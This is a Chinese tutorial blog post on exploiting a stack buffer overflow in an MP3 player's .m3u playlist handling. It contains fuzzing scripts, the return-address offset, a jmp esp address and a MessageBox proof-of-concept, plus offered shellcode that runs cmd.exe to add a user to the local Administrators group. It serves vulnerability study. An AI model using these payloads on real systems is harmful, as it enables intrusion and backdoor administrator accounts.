软件漏洞学习之缓冲区溢出(二)

by Netfairy - 2015-06-12

附上一个添加用户的shellcode
#include<stdio.h>
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";
 
int main()
{
	_asm
	{
		lea eax,shellcode;
		push eax;
		retn;
	}
	return 0;
}
今天用来做练习的是一个MP3播放器。先安装好软件,运行界面如图

1.png'


为了测试它是否有缓冲区溢出,我用python构造畸形测试文件

filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名
myfile=open(filename,'w')  #以写方式打开文件
filedata="A"*30000 #待写入的数据
myfile.write(filedata)  #写入数据
myfile.close()  #关闭文件
得到test.m3u文件,用播放器打开

2.png 
报错显示,AAAA(0x41)覆盖了返回地址,下面我们确定溢出点,我用的方法比较笨



filename="C:\\Documents and Settings\\All Users\\桌面\\test.m3u" #待写入的文件名
myfile=open(filename,'w')  #以写方式打开文件
filedata="A"*26073+"B"*500 #待写入的数据
myfile.write(filedata)  #写入数据
myfile.close()  #关闭文件
用一堆A和一堆B填充缓冲区,知道A,B都同时覆盖到返回地址
3.png 
经测试,当填充26073个A+500个B时候,出现0x42424141,所以我知道当填充26071个A即可覆盖到返回地址
知道了返回地址,我用JMP ESP 法运行shellcode,先要在金城内找到一条jmp esp指令,这简单,jmp esp指令的机器码是FF E4,直接在进程地址空间搜索就行,我找到了这个地址:77d55af7
下面是测试用的shellcode:33DB536861697279684E6574668BC453505053B8EA07D577FFD0
注意:这个shellcode 的功能是弹出一个对话框,需要调用MessageBoxA,shellcode中EA07D577是MessageBoxA的地址
完整的构造是:26071个A+77d55af7(jmp esp地址)+33DB536861697279684E6574668BC453505053B8EA07D577FFD0(shellcode)   

4.png

成功弹出了对话框!!!